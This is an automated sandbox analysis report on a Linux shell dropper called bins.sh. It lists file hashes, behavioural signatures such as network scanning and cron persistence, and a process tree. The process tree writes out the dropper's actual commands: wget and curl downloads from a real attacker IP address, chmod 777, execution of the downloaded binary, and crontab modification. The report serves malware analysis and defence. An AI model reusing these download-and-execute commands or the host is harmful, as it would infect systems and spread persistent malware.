Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-11-2024 11:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fb03e426ca78a0af5cbbb68cbd6d8288

  • SHA1

    1fe0eb6730f6a592203e0b7393a8f53f3cf24fa2

  • SHA256

    ece31815664b056506b4ed6911c1b95be4cb14217e6de2ad20f21dc012614669

  • SHA512

    d85aef9889248c5bf5fd8edefa1acd43852b01a8d0e8abd6dda3b414f758634ee1a632e1fa558036193f168f305c481f5047b29a204efea878197da37298085c

  • SSDEEP

    192:8j4xKaBgsyu2y3mu06K6hVgTjX7C7S7DU7wvEpVKHHKhVgTj77C7S7DU7wQpVKH+:8j4xKaBgsI6K6hVgTjX2OUqYhVgTj72p

Malware Config

Signatures

  • Contacts a large (2205) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1494
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1495
        • /usr/bin/wget
          wget http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1496
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1501
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1502
        • /bin/chmod
          chmod 777 cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • File and Directory Permissions Modification
          PID:1503
        • /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          ./cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:1504
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1506
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1507
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1508
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1509
              • /bin/rm
                rm cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj
                2⤵
                • System Network Configuration Discovery
                PID:1511
              • /usr/bin/wget
                wget http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
                2⤵
                  PID:1514
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d
                  2⤵
                  • Writes file to tmp directory
                  PID:1515

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/46bvg0YqtYDdufVSGJCucVbCB0kmg9xG1d

                Filesize

                12KB

                MD5

                ef804f4ca633426c96308d957f89a9fb

                SHA1

                dc0c615c3fdc88e3f6b1b32b9701eeb5d1a257c0

                SHA256

                9bfc5f331f07dad53dc7ebb42b6d536972518285beba1a42a697f70fe0a1e84f

                SHA512

                a7db7982c7148e608b85c3edbdf62a4f4a8a99eb6f82c6d2f4f9574e8b3879fe159f2826cd53b1a2143f4fe8f1964ac46b3acb8f6a6ffc5ef9f6e280e508996a

              • /tmp/cQUA61T9gfbT8tBKu2HQa1MWKCipo4LTkj

                Filesize

                98KB

                MD5

                5141342d0df8699fa32a6b066a0c592e

                SHA1

                8157673225bd5182f16215e2aa823a25ca2d4fbc

                SHA256

                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                SHA512

                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

              • /var/spool/cron/crontabs/tmp.QAJoio

                Filesize

                210B

                MD5

                723f8a34c528d4d22f3171038278e37f

                SHA1

                535aae09059aea3c4500ef85e9ba97d821d0d536

                SHA256

                4dbdacd58381e1df69e2c3154821c4e1df8e934ac2ea1cb21e3e02e9c2ed2ba4

                SHA512

                bcb8d44614e9da0b0189904030434dea20e9ed934950edd1476923f26da78fedd8824c2174cc5183487ca483fbd38df8959f3c40110f29eb2d0a1598debfd6a3